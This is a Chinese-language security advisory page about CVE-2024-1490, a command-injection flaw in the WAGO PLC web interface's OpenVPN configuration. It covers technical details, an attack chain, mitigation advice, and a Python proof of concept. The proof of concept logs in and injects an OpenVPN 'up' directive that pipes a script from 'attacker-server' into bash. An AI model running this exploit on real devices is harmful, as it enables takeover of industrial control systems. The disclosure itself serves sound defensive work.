IPBUF安全漏洞报告
English
CVE-2024-1490 CVSS 7.2 高危

CVE-2024-1490 WAGO PLC OpenVPN远程代码执行漏洞

披露日期: 2026-04-09

漏洞信息

漏洞编号
CVE-2024-1490
漏洞类型
远程代码执行 (RCE)
CVSS评分
7.2 高危
攻击向量
网络 (AV:N)
认证要求
高权限 (PR:H)
用户交互
无需交互 (UI:N)
影响产品
WAGO PLC

相关标签

RCE远程代码执行WAGOPLCICSOpenVPN命令注入

漏洞概述

WAGO PLC基于Web的管理接口存在严重安全漏洞。拥有高权限的远程攻击者可通过恶意配置OpenVPN服务利用此漏洞。在系统允许用户自定义脚本的条件下,攻击者能够触发任意Shell命令的执行。成功利用此漏洞可导致攻击者完全控制PLC设备,对工业控制系统的机密性、完整性和可用性造成严重影响。

技术细节

该漏洞的根本原因在于WAGO PLC的Web管理界面在处理OpenVPN配置时的逻辑缺陷,特别是对用户自定义脚本配置的输入验证不足。攻击者首先需要通过网络访问目标设备的Web管理接口,并具备高权限管理员身份。在利用过程中,攻击者利用接口提交特制的OpenVPN配置参数,重点针对脚本执行相关的指令(如up或down脚本)。由于系统未能有效清洗输入数据,攻击者可在此字段中注入恶意的Shell命令拼接符。当OpenVPN服务尝试应用该配置时,会将注入的内容传递给底层Shell解释器执行,从而以服务进程的权限(通常为Root)运行任意代码,导致设备完全沦陷。

攻击链分析

STEP 1
侦察与访问
攻击者通过网络扫描发现暴露的WAGO PLC Web管理接口,并获取高权限账号凭证。
STEP 2
构造恶意载荷
攻击者利用OpenVPN配置功能,在允许用户自定义脚本的字段中注入Shell命令。
STEP 3
提交配置
攻击者通过Web接口将包含恶意命令的OpenVPN配置文件上传或更新到设备。
STEP 4
触发执行
当OpenVPN服务重启或重新加载配置时,系统调用Shell解析配置,执行攻击者注入的任意命令。
STEP 5
获得控制权
攻击者成功在设备上执行代码,获得底层系统控制权限,可进一步进行横向移动或破坏。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests # Exploit Title: WAGO PLC OpenVPN Configuration RCE # Description: PoC for CVE-2024-1490 TARGET_URL = "https://<TARGET_IP>/vpn/openvpn/config" USERNAME = "admin" PASSWORD = "admin" def exploit(): session = requests.Session() # Step 1: Authenticate to the Web Management Interface login_payload = {"username": USERNAME, "password": PASSWORD} session.post(f"https://<TARGET_IP>/login", data=login_payload, verify=False) # Step 2: Craft malicious OpenVPN configuration # The 'up' directive allows executing a shell command when the interface starts malicious_config = """dev tun remote 127.0.0.1 up '/bin/bash -c "curl http://attacker-server/shell.sh | bash"' """ # Step 3: Send the configuration to update OpenVPN settings headers = {"Content-Type": "application/x-www-form-urlencoded"} data = {"config_content": malicious_config, "action": "save"} response = session.post(TARGET_URL, data=data, headers=headers, verify=False) if response.status_code == 200: print("[+] Payload sent successfully. Triggering OpenVPN restart may execute the command.") else: print("[-] Failed to send payload.") if __name__ == "__main__": exploit()

影响范围

WAGO PLC(具体受影响固件版本请参考厂商公告VDE-2024-008)

防御指南

临时缓解措施
建议立即检查WAGO PLC设备的固件版本并升级。若无法立即补丁,应临时禁用Web管理界面的远程访问,或关闭OpenVPN服务中的脚本执行权限,同时密切关注网络流量中是否存在异常的Shell命令执行行为。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表